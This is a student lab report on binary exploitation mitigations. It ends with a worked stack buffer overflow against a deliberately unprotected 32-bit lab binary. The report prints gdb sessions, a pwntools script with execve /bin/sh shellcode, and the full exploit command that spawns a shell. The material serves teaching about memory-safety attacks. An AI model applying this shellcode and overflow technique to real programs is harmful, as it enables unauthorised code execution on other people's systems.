# [N & CS] Lab 5: Binary Security
## Members
- Dmitrii Chermnykh
- Iskander Bakhtiyarov
## Task 1.1
There are three main techniques used to mitigate binary exploitation in modern programs: Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR) and Stack Canaries.
### DEP
DEP marks certain areas in memory (typically the user-writable parts) as non-executable so that attempts to execute code in these regions would cause an exception. This is a very useful protection technique as it essentially prevents attackers from executing injected shellcode.
### ASLR
ASLR randomizes the address ranges for important memory segments such as the stack, the heap, program code and shared libraries such as libc. This means that memory segments are no longer static, and changes every time the program runs.
By randomizing the address layout between program runs, ASLR protects against attacks that rely on knowledge of where usable code is located.
### Stack Canaries
Stack canaries are another way that programs protect against binary exploits. They are randomized values that change every time a program runs. When placed in strategic locations (after a buffer or before function returns), they can be used to detect corruption of the stack.
Unlike the above mitigation techniques, stack canaries have the ability to detect attacks. Programs achieve this by checking canary values before a function returns, and stop execution if the canary value is incorrect.
Since it’s virtually impossible to guess a random 64-bit value, attackers would not be able to craft an exploit without knowing the canary value.
## Task 1.2
On at least some recent versions of Linux, the stacks (main and threads) will usually be marked as non-executable (i.e. NX bit set). However, if the executable code of the application, or some executable code somewhere in a DLL loaded by the application, contains a nested function or otherwise advertises a need for an executable stack, then all stacks in the application will be marked as executable (i.e. NX bit not set). In other words, a single loadable plugin or extension for an application may deactivate NX stack protection for all threads of the applications, simply by using a rarely used but legitimate and documented feature of GCC.
Protection afforded by the NX bit is not that great. It will make some exploits more awkward for the least competent of attackers; but good attackers will not be impeded.
## Task 1.3
On Linux, stack canaries end in 00. This is so that they null-terminate any strings in case you make a mistake when using print functions, but it also makes them much easier to spot.
## Task 1.4
A NOP sled is a sequence of NOP (no-operation) instructions meant to "slide" the CPU's instruction execution flow to its final, desired destination whenever the program branches to a memory address anywhere on the slide.
## Task 2
Let's do the following (using gdb+pwndbg):
```bash=
$ gdb --args binary 'aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ'
pwndbg> break main
Breakpoint 1 at 0x11ac
pwndbg> run
pwndbg> disassemble main
Dump of assembler code for function main:
0x5655619d <+0>: lea ecx,[esp+0x4]
0x565561a1 <+4>: and esp,0xfffffff0
0x565561a4 <+7>: push DWORD PTR [ecx-0x4]
0x565561a7 <+10>: push ebp
0x565561a8 <+11>: mov ebp,esp
0x565561aa <+13>: push ebx
0x565561ab <+14>: push ecx
=> 0x565561ac <+15>: add esp,0xffffff80
0x565561af <+18>: call 0x565560a0 <__x86.get_pc_thunk.bx>
0x565561b4 <+23>: add ebx,0x2e4c
0x565561ba <+29>: mov eax,ecx
0x565561bc <+31>: mov eax,DWORD PTR [eax+0x4]
0x565561bf <+34>: add eax,0x4
0x565561c2 <+37>: mov eax,DWORD PTR [eax]
0x565561c4 <+39>: sub esp,0x8
0x565561c7 <+42>: push eax
0x565561c8 <+43>: lea eax,[ebp-0x88]
0x565561ce <+49>: push eax
0x565561cf <+50>: call 0x56556050 <strcpy@plt>
0x565561d4 <+55>: add esp,0x10
0x565561d7 <+58>: sub esp,0xc
0x565561da <+61>: lea eax,[ebp-0x88]
0x565561e0 <+67>: push eax
0x565561e1 <+68>: call 0x56556060 <puts@plt>
0x565561e6 <+73>: add esp,0x10
0x565561e9 <+76>: mov eax,0x0
0x565561ee <+81>: lea esp,[ebp-0x8]
0x565561f1 <+84>: pop ecx
0x565561f2 <+85>: pop ebx
0x565561f3 <+86>: pop ebp
0x565561f4 <+87>: lea esp,[ecx-0x4]
0x565561f7 <+90>: ret 0x000011f7 <+90>: ret
# Now we want to overwrite ret addr of function strcpy
pwndbg> b *0x565561d4
pwndbg> c
# now we got crash:
───────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────
<Could not read memory at 0x47474743>
# and the following in stack register
*ESP 0x47474743 ('CGGG')
# G got changed to C (-0x4)
```
### Stack addr offset
```bash=
$ gdb --args ./binary "$(python -c "print('A'*128+'a'*4)")"
pwndbg> b main
pwndbg> r
pwndbg> disassemble main
Dump of assembler code for function main:
0x5655619d <+0>: lea ecx,[esp+0x4]
0x565561a1 <+4>: and esp,0xfffffff0
0x565561a4 <+7>: push DWORD PTR [ecx-0x4]
0x565561a7 <+10>: push ebp
0x565561a8 <+11>: mov ebp,esp
0x565561aa <+13>: push ebx
0x565561ab <+14>: push ecx
=> 0x565561ac <+15>: add esp,0xffffff80
0x565561af <+18>: call 0x565560a0 <__x86.get_pc_thunk.bx>
0x565561b4 <+23>: add ebx,0x2e4c
0x565561ba <+29>: mov eax,ecx
0x565561bc <+31>: mov eax,DWORD PTR [eax+0x4]
0x565561bf <+34>: add eax,0x4
0x565561c2 <+37>: mov eax,DWORD PTR [eax]
0x565561c4 <+39>: sub esp,0x8
0x565561c7 <+42>: push eax
0x565561c8 <+43>: lea eax,[ebp-0x88]
0x565561ce <+49>: push eax
0x565561cf <+50>: call 0x56556050 <strcpy@plt>
0x565561d4 <+55>: add esp,0x10
0x565561d7 <+58>: sub esp,0xc
0x565561da <+61>: lea eax,[ebp-0x88]
0x565561e0 <+67>: push eax
0x565561e1 <+68>: call 0x56556060 <puts@plt>
0x565561e6 <+73>: add esp,0x10
0x565561e9 <+76>: mov eax,0x0
0x565561ee <+81>: lea esp,[ebp-0x8]
0x565561f1 <+84>: pop ecx
0x565561f2 <+85>: pop ebx
0x565561f3 <+86>: pop ebp
0x565561f4 <+87>: lea esp,[ecx-0x4]
0x565561f7 <+90>: ret
pwndbg> b *0x565561cf
pwndbg> c
──────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────
0x565561c2 <main+37> mov eax, dword ptr [eax]
0x565561c4 <main+39> sub esp, 8
0x565561c7 <main+42> push eax
0x565561c8 <main+43> lea eax, [ebp - 0x88]
0x565561ce <main+49> push eax
► 0x565561cf <main+50> call strcpy@plt <strcpy@plt>
dest: 0xffffbcd0 —▸ 0xf7ffdb80 —▸ 0xf7fbc6c0 —▸ 0xf7ffda20 —▸ 0x56555000 ◂— ...
src: 0xffffc1b8 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaa'
0x565561d4 <main+55> add esp, 0x10
0x565561d7 <main+58> sub esp, 0xc
0x565561da <main+61> lea eax, [ebp - 0x88]
0x565561e0 <main+67> push eax
0x565561e1 <main+68> call puts@plt <puts@plt>
```
Our buffer is at 0xffffbcd0
### Hacking
Lets make payload with the use of pwntools
```python=
from pwnlib.asm import asm
from pwnlib import shellcraft
from pwnlib.tubes.process import process
nops = shellcraft.i386.nop() * 10
# the shellcode from lab
payload = asm(nops) + b"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
# let's put the address of our code on top of payload
# later we will make program think that it is top of the stack
payload = b'\xff\xff\xbc\xd8'[::-1] + payload
# the address should be reversed because of how it is stored in memory
# we also need to add 4 to the address as the value in ESP is BUF-0x4
payload += (128-len(payload))*b'0' + b'\xff\xff\xbc\xd4'[::-1]
print(payload)
```
Now we can test it
```bash=
gdb --args ./binary "$(echo -e '\xd8\xbc\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0\xb0F1\xdb1\xc9\xcd\x80\xeb\x16[1\xc0\x88C\x07\x89[\x08\x89C\x0c\xb0\x0b\x8dK\x08\x8dS\x0c\xcd\x80\xe8\xe5\xff\xff\xff/bin/sh00000000000000000000000000000000000000000000000000000000000000000000\xd4\xbc\xff\xff')"
pwndbg> r
# now we are in shell
sh-5.1$ id
uid=1000(chermnyx) gid=990(users) groups=990(users),3(sys),11(ftp),19(log),33(http),50(games),56(bumblebee),90(network),94(floppy),96(scanner),108(vboxusers),150(wireshark),617(chrome-remote-desktop),935(i2c),961(realtime),970(docker),973(libvirt),983(video),984(kvm),985(wheel),986(rfkill),987(uucp),988(lp),989(storage),991(systemd-journal),993(disk),994(adm),996(audio),997(optical),999(input),1001(nix-users)
```
### Answers
- > What does mean -fno-stack-protector parameter?
- From `man gcc`
> `-fstack-protector`
> Emit extra code to check for buffer overflows, such as stack
smashing attacks. This is done by adding a guard variable to
functions with vulnerable objects. This includes functions
that call "alloca", and functions with buffers larger than 8
bytes. The guards are initialized when a function is entered
and then checked when the function exits. If a guard check
fails, an error message is printed and the program exits.
`-fno-stack-protector` Disables this feature
- > What does mean -m32 parameter?
- From `man gcc`
> Generate code for 32-bit or 64-bit ABI.
(32 bit in our case)
- > What does mean -z execstack parameter?
- From `man ld` (the -z flag is passed to the linker)
> execstack
> Marks the object as requiring executable stack.
thus we can embed shellcode inside stack and then execute it bypassing protection